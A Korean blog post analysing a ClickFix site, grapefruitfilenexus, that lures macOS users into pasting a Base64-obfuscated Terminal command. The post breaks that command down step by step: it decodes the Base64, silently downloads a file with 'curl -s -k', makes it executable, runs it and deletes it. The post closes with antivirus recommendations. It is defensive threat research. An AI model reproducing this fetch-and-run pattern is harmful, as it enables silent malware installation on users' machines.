macOS 사용자를 타겟으로 한 ClickFix 공격 사이트-grapefruitfilenexus 분석

오늘은 macOS 사용자를 대상으로 한 ClickFix 공격 사이트 인 grapefruitfilenexus 분석에 대해서 분석을 해 보겠습니다. 일단 정확하지는 않지만 Grapefruit(그레이프프루트) 즉 Mac을 사용해 아이폰 앱에 보안 취약점이 없는지 혹은 어떻게 만들어졌는지 해킹 및 보안 분석을 하는 도구 사이트로 위장하고 있지 않을까? 생각이 들기도 합니다.
hxxp://grapefruitfilenexus(.)com/
해당 사이트는 일단 기본적으로 hxxp 로 인증서가 없는 것이 보이고 여기서 함정으로 GitHub 으로 되어 있는 것이 보일 것입니다. 해당 GitHub 하고는 상관없습니다. 일단 정확히는 맥 사용자를 노리는 클릭픽스(ClickFix) 사이트입니다.
여기서 보면 다음과 같은 사이트 주소를 확인할 수가 있으며 아주 친절하게 Terminal(터미널)를 사용을 해서 어떻게 사용을 하라고 설명 동영상도 첨부된 것 같습니다.
여기서 사용을 하는 Base64를 이용을 합니다.

클릭픽스 메인화면

분석

echo...:Base64로 숨겨진 명령을 복호화하고 즉시 Bash로 실행
curl -s -k (URL) -o. rc:원격 서버에서 파일을 내려받아 .rc라는 이름으로 저장
-s:사용자가 눈치채지 못하게 조용히 실행 및 진행 상황과 오류 숨기기 위한 의도
-k:TLS 인증서 검증 무시
chmod +x (.)rc:다운로드한 파일에 실행 권한 부여
./(.)rc:다운로드한 파일 실행
rm (.)rc:실행 후 파일 삭제
즉 Y3Vyb?At..->curl -s -k…. 형식으로 Base64에 보이게 됩니다.

Base64 디코딩 결과

일단 해당 사이트는 다행히 현재 영업이 종료된 상태이며 최근에는 macOS 사용자를 대상으로 해서 개인정보들 털어가려는 ClickFix도 활발하게 진행이 될 것이므로 macOS 사용자도 악성코드에 감염이 안 된다는 법이 없고 av-test 기준으로 보호, 성능, 편의성 모든 부문에서 6점 만점을 기록한 최우수 제품 들인 Avast Security,AVG Antivirus,Bitdefender Antivirus for Mac,ESET Security Ultimate,F-Secure Total,Intego One,Kaspersky Premium,Norton 360 제품 중에서 하나 선택을 해서 유료 결제 후 사용을 하는 것을 매우 권장합니다.